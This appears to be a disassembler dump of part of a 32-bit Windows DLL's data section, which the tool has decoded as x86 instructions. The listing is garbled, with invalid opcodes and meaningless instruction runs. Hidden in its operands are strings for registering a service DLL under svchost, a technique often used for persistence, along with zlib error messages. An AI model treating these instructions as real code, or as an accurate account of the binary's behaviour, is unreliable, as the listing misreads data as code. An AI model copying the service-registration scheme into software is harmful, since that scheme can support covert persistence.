jo 0x1001f43d
popal
arpl word [ecx + ebp*2 + 0x6f], si
outsb dx, byte [esi]
add byte [edi + 0x49], dl
push edi
dec ecx
dec esi
xor esi, dword [edx]
and byte [ecx + 0x70], al
jo 0x1001f44e
imul esp, dword [ebx + 0x61], 0x6e6f6974
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [eax], al
add byte [ebx + 0x65], dl
push ebx
inc edx
popal
arpl word [ebx + 0x75], bp
jo 0x1001f445
jb 0x1001f460
jbe 0x1001f462
insb byte es:[edi], dx
add byte gs:[bx + si], al
add byte [ebx + 0x65], dl
push ebx
push edx
push edx
jae 0x1001f47a
outsd dx, dword [esi]
jb 0x1001f46e
push eax
jb 0x1001f475
jbe 0x1001f477
insb byte es:[edi], dx
add byte gs:[bx + si], al
push ebx
jb 0x1001f48e
imul esp, dword [ebx + 0x65], 0x6c6c44
add byte [0x61505c73], ah
and eax, 0x61505c73
jb 0x1001f488
insd dword es:[edi], dx
je 0x1001f490
jb 0x1001f4a0
add byte [eax], al
add byte [ebx + 0x4f], dl
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
and eax, 0x654e0064
dec esi
je 0x1001f46d
je 0x1001f46d
push esp
insd dword es:[edi], dx
jo 0x1001f473
imul ebp, dword [esi + 0x69], 0
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x1001f4c8
jb 0x1001f4bd
outsb dx, byte [esi]
je 0x1001f49e
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x1001f4d1
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x1001f4c1
push ebx
jb 0x1001f4df
imul esp, dword [ebx + 0x65], 0x5c73
pop esp
add byte [eax], al
and eax, 0x69000073
invalid
add byte [ecx + 0x6d], ch
invalid
insd dword es:[edi], dx
insd dword es:[edi], dx
jae 0x1001f4ef
jae 0x1001f4ef
arpl word [eax], ax
add byte [ebx + 0x4f], dl
push ebx
dec edi
add byte [eax], al
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x1001f4eb
jb 0x1001f4f9
jae 0x1001f4fb
je 0x1001f4eb
pop esp
push edi
imul ebp, dword [esi + 0x64], 0x2073776f
dec esi
push esp
pop esp
inc ebx
jne 0x1001f50f
jb 0x1001f504
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
je 0x1001f4f8
jb str.need_dictionary
imul ebp, dword [edi + 0x6e], 0x6376535c
dec eax
outsd dx, dword [esi]
jae 0x1001f524
add byte [eax], al
add byte [eax], al
pop esp
push eax
popal
jb 0x1001f51a
insd dword es:[edi], dx
je 0x1001f522
jb 0x1001f532
add byte [0x74737953], ah
and eax, 0x74737953
insd dword es:[edi], dx
push ebx
jns 0x1001f537
je 0x1001f52b
insd dword es:[edi], dx
push edx
outsd dx, dword [esi]
outsd dx, dword [esi]
je 0x1001f4f1
pop esp
push ebx
jns 0x1001f543
je 0x1001f537
insd dword es:[edi], dx
insd dword es:[edi], dx
xor esi, dword [edx]
pop esp
jae 0x1001f54e
arpl word [eax + 0x6f], bp
jae 0x1001f551
js 0x1001f546
js 0x1001f546
and byte [0x6d69206b], ch
jae 0x1001f560
arpl word [eax], ax
inc edi
insb byte es:[edi], dx
add byte [edi + 0x6c], al
inc edi
insb byte es:[edi], dx
popal
bound ebp, qword [ebp + 0x5f]
pop edi
pop edi
push edi
popal
imul esi, dword [eax + eax], 0xa0000
add byte [eax], al
add byte [eax], al
or al, byte [eax]
add byte [eax], al
add byte [edx], cl
add byte [eax], al
add byte [ebx + 0x3a], ah
arpl word [edx], di
add byte [eax], al
arpl word [edx], di
pop esp
dec esi
push esp
pop edi
push eax
popal
je 0x1001f572
push 0x70
add byte [bx + si], al
xor dword [esi], ebp
xor dword [esi], ebp
add byte [ecx], dh
xor dword [esi], ebp
xor dword [esi], ebp
xor al, 0
add byte [eax], al
outsb dx, byte [esi]
and byte fs:[ecx + ebp*2 + 0x63], ah
and byte fs:[ecx + ebp*2 + 0x63], ah
je 0x1001f58b
outsd dx, dword [esi]
outsb dx, byte [esi]
popal
jb 0x1001f5a0
add byte [ecx + 0x6e], ch
imul ebp, dword [esi + 0x63], 0x6572726f
outsd dx, dword [esi]
jb 0x1001f5a0
arpl word gs:[eax + 0x64], si
arpl word [eax + 0x64], si
popal
popal
je 0x1001f597
and byte [ebx + 0x68], ah
arpl word gs:[ebx], bp
arpl word [eax + 0x65], bp
arpl word [ebx], bp
add byte [eax], al
add byte [ecx + 0x6e], ch
imul ebp, dword [esi + 0x63], 0x6572726f
outsd dx, dword [esi]
jb 0x1001f5b8
arpl word gs:[eax + 0x68], si
arpl word [eax + 0x68], si
popal
jb 0x1001f571
jb 0x1001f571
arpl word [eax + 0x65], bp
arpl word [ebx], bp
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x1001f5bd
insb byte es:[edi], dx
imul esp, dword [eax + 0x77], 0x6f646e69
ja 0x1001f5cb
outsb dx, byte [esi]
outsd dx, dword fs:[esi]
ja 0x1001f587
jae 0x1001f5d2
jp 0x1001f5d0
add byte [ebp + 0x6e], dh
jne 0x1001f5dc
imul ebp, dword [esi + 0x6f], 0x77
ja 0x1001f5e1
outsb dx, byte [esi]
and byte [ebx + 0x6f], ah
insd dword es:[edi], dx
jo 0x1001f5eb
jae 0x1001f5ef
imul ebp, dword [edi + 0x6e], 0x74656d20
push 0x646f
adc ch, dh
add byte [eax], dl
cmc
add dword [eax], edx
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [edx + 0x69], ah
je 0x1001f5b8
adc byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x1001f5f1
insb byte es:[edi], dx
imul esp, dword [eax + 0x62], 0x6c207469
bound ebp, qword [ecx + 0x74]
and byte [ebp + 0x6e], ch
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x1001f606
and byte [edx + 0x65], dh
jo 0x1001f608
jo 0x1001f608
popal
je 0x1001f5a6
add byte [eax], al
je 0x1001f619
outsd dx, dword [esi]
and byte [ebp + 0x61], ch
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
jns 0x1001f5d1
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x1001f61f
and byte [edi + 0x72], ch
and byte [ecx + ebp*2 + 0x73], ah
je 0x1001f621
outsd dx, dword [esi]
jb 0x1001f5db
imul esi, dword fs:[ebx + 0x74], 0x65636e61
and byte [ebx + 0x79], dh
jae 0x1001f633
popal
outsb dx, byte [esi]
arpl word [ebp + 0x20], sp
jae 0x1001f63f
insd dword es:[edi], dx
bound ebp, qword [edi + 0x6c]
jae str.invalid_stored_block_lengths
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x1001f631
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [ebx + 0x74], dh
insb byte es:[edi], dx
imul esp, dword [eax + 0x73], 0x65726f74
and byte fs:[ebx + 0x74], dh
outsd dx, dword [esi]
jb 0x1001f63e
and byte fs:[edx + 0x6c], ah
outsd dx, dword [esi]
arpl word [ebx + 0x20], bp
bound ebp, qword [edi + ebp*2 + 0x63]
imul esp, dword [eax], 0x6c
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x1001f64f
jae 0x1001f5e9
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x1001f651
popal
insb byte es:[edi], dx
imul esp, dword [eax + 0x62], 0x6b636f6c
and byte [ecx + edi*2 + 0x70], dh
add byte gs:[eax], al
sbb ch, dh
add dword [eax], edx
invalid
add dword [eax], edx
test byte [ecx], cl
add dl, byte [eax]
xor dh, 1
adc byte [eax - 0xa], dh
add dword [eax], edx
test byte fs:[ecx], 0x10
push eax
test byte [ecx], 0x10
inc eax
test byte [ecx], 0x10
sub dh, dh
add dword [eax], edx
adc byte [eax], ch
test byte [ecx], 0x10
test byte [ecx], cl
add dl, byte [eax]
imul ebp, dword [esi + 0x63], 0x61706d6f
je 0x1001f69a
bound ebp, qword [ebp + 0x20]
jbe 0x1001f69c
and byte gs:[esi + 0x65], dh
jb 0x1001f6ac
imul ebp, dword [edi + 0x6e], 0
add byte [eax], al
add byte [edx + 0x75], ah
bound esi, qword [ebp + 0x66]
jb 0x1001f667
bound esi, qword [ebp + 0x66]
jb 0x1001f667
jb 0x1001f6bc
outsd dx, dword [esi]
jb 0x1001f64d
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
outsb dx, byte [esi]
jae 0x1001f6c9
imul sp, word [ebx + 0x69], 0x6e65
je 0x1001f67d
insd dword es:[edi], dx
insd dword es:[edi], dx
outsd dx, dword [esi]
jb str.invalid_distance_code
add byte [ecx + 0x74], ah
popal
invalid
popal
and byte [ebp + 0x72], ah
jb str.invalid_distance_code
jb 0x1001f66f
add byte [ebx + 0x74], dh
jae 0x1001f6e6
jb 0x1001f6d9
popal
insd dword es:[edi], dx
and byte [ebp + 0x72], ah
jb 0x1001f6ea
jb 0x1001f67d
add byte [eax], al
add byte [esi + 0x69], ah
imul bp, word [ebp + 0x20], 0x7265
jb 0x1001f6f8
jb 0x1001f68b
add byte [ebx + 0x74], dh
jae 0x1001f702
jb 0x1001f6f5
popal
insd dword es:[edi], dx
and byte [ebp + 0x6e], ah
add byte fs:[eax], al
and byte [edi - 0x5a2befff], ah
add dword [eax], edx
aam 0xa5
add dword [eax], edx
add dword [ecx], eax
add byte [eax], al
push ds
add dword [eax], eax
add byte [edi], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x481001ab], ah
add byte [eax], al
add byte [eax], al
mov al, byte [0x481001ab]
cmpsb byte [esi], byte es:[edi]
add dword [eax], edx
add byte [eax], al
add byte [eax], al
push ds
add byte [eax], al
add byte [edi], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, al
cmpsb byte [esi], byte es:[edi]
add dword [eax], edx
add byte [eax], al
add byte [eax], al
adc eax, dword [eax]
add byte [eax], al
pop es
add byte [eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
jbe 0x1001f741
imul ebp, dword [esi + 0x76], 0x64696c61
and byte [ecx + ebp*2 + 0x73], ah
je 0x1001f74a
insb byte es:[edi], dx
imul esp, dword [eax + 0x64], 0x61747369
outsb dx, byte [esi]
arpl word [ebp + 0x20], sp
arpl word [edi + 0x64], bp
add byte gs:[eax], al
add byte [ecx + 0x6e], ch
invalid
outsb dx, byte [esi]
outsb dx, byte [esi]
jbe 0x1001f759
insb byte es:[edi], dx
imul esp, dword [eax + 0x6c], 0x72657469
popal
insb byte es:[edi], dx
das
insb byte es:[edi], dx
outsb dx, byte gs:[esi]
je 0x1001f772
and byte [ebx + 0x6f], ah
add byte gs:[ecx], cl
add byte [eax], al
add byte [0x60000000], al
pop es
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push eax
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], dl
add byte [eax], al
add byte [eax + ecx], dl
add byte [ebx], dh
add byte [eax], al
push edx
pop es
add byte [eax], al
pop ds
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], dh
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
rol byte [eax], 0
add byte [eax + 7], dl
pop es
add byte [eax], al
or al, byte [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
pushal
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], ah
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax], ah
add byte [eax], al
mov al, byte [pe_dos_header]
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
loopne 0x1001f796
add byte [eax], al
push eax
pop es
add byte [eax], al
push es
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], bl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
sbb byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
nop
add byte [eax], al
add byte [ebx + 7], dl
add byte [eax], al
cmp eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
js 0x1001f7c6
add byte [eax], al
add byte [eax], cl
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
rol byte [eax], 1
add byte [eax], al
push ecx
pop es
add byte [eax], al
adc dword [eax], eax
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push 0
or byte [eax], al
add byte [eax], ch
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax], dh
or byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax], cl
or byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
lock add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
add al, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push esp
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax + eax], dl
add byte [eax], al
push ebp
or byte [eax], al
add bl, ah
add byte [eax], al
add byte [ebx + 7], dl
add byte [eax], al
sub eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
je 0x1001f846
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor al, 0
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
enter 0, 0
push ecx
pop es
add byte [eax], al
or eax, 0
or byte [eax], al
add byte [eax + eax], ah
add byte [eax], al
or byte [eax], al
add byte [eax + eax], ah
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
test al, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add al, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
test byte [eax], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
inc esp
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add al, ch
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
or byte [eax], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
pop esp
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax + eax], bl
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
cwde
add byte [eax], al
add byte [edi + eax], dl
add byte [ebx], dl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jl 0x1001f8c6
add byte [eax], al
add byte [eax], cl
add byte [eax], al
cmp al, 0
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
fadd dword [eax]
add byte [eax], al
push edx
pop es
add byte [eax], al
pop ss
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [eax + eax], ch
add byte [eax], al
or byte [eax], al
add byte [eax + eax], ch
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
mov eax, 0
or byte [eax], al
add byte [eax + eax], cl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
mov word [eax], es
add byte [eax], al
add byte [eax], cl
add byte [eax], al
dec esp
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add al, bh
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
add eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push edx
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], dl
add byte [eax], al
add byte [ebp + 8], dl
add byte [eax], al
mov dword [0x53000000], eax
pop es
add byte [eax], al
and eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jb 0x1001f946
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
les eax, [eax]
add byte [eax], al
push ecx
pop es
add byte [eax], al
or eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
bound eax, qword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
and al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
movsb byte es:[edi], byte [esi]
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], al
or byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
in al, 0
add byte [eax], al
push eax
pop es
add byte [eax], al
pop es
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [edx], bl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
sbb al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
xchg esp, eax
add byte [eax], al
add byte [edi + eax], dl
add byte [ebx], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jp 0x1001f9c6
add byte [eax], al
add byte [eax], cl
add byte [eax], al
cmp al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
aam 0
add byte [eax], al
push edx
pop es
add byte [eax], al
adc eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
sub al, byte [eax]
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
mov ah, 0
add byte [eax], al
add byte [eax], cl
add byte [eax], al
or al, byte [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
mov al, byte [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
dec edx
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add ah, dh
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
add eax, 0
or byte [eax], al
add byte [esi], dl
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push ss
add byte [eax], al
add al, al
or byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 7], dl
add byte [eax], al
xor eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jbe 0x1001fa46
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte ss:[eax], al
add byte [eax], al
or dword [eax], eax
add ah, cl
add byte [eax], al
add byte [ecx + 7], dl
add byte [eax], al
sldt word [eax]
add byte [eax], al
or byte [eax], al
add byte [esi], ah
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte es:[eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax + eax + 0x8000000], ch
add byte [eax], al
push es
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], al
or byte [eax], al
add byte [esi], al
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
in al, dx
add byte [eax], al
add byte [eax + 7], dl
add byte [eax], al
or dword [eax], eax
add byte [eax], al
add byte [eax], cl
add byte [eax], al
pop esi
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], bl
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax + eax + 0x7540000], bl
add byte [eax], al
arpl word [eax], ax
add byte [eax], al
add byte [eax], cl
add byte [eax], al
jle 0x1001fac6
add byte [eax], al
add byte [eax], cl
add byte [eax], al
add byte ds:[eax], al
add byte [eax], al
or dword [eax], eax
add ah, bl
add byte [eax], al
add byte [edx + 7], dl
add byte [eax], al
sbb eax, dword [eax]
add byte [eax], al
add byte [eax], cl
add byte [eax], al
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], ch
add byte [eax], al
add byte [eax], al
or dword [eax], eax
add byte [eax + eax + 0x8000000], bh
add byte [eax], al
push cs
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [esi], cl
or byte [eax], al
add byte [esi], cl
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
cld
add byte [eax], al
add byte [eax + 7], ah
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], cl
add byte [eax], al
push ecx
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [ecx], dl
add byte [eax], al
add byte [ebp + 8], dl
add byte [eax], al
add dword [eax], 0
add byte [edx + 7], dl
add byte [eax], al
pop ds
add byte [eax], al
add byte [eax], al
or byte [eax], al
add byte [ecx], dh
add byte [eax], al
add byte [eax], cl
add byte [eax], al
xor dword [eax], eax
add byte [eax], al
add byte [ecx], cl
add byte [eax], al
ret 0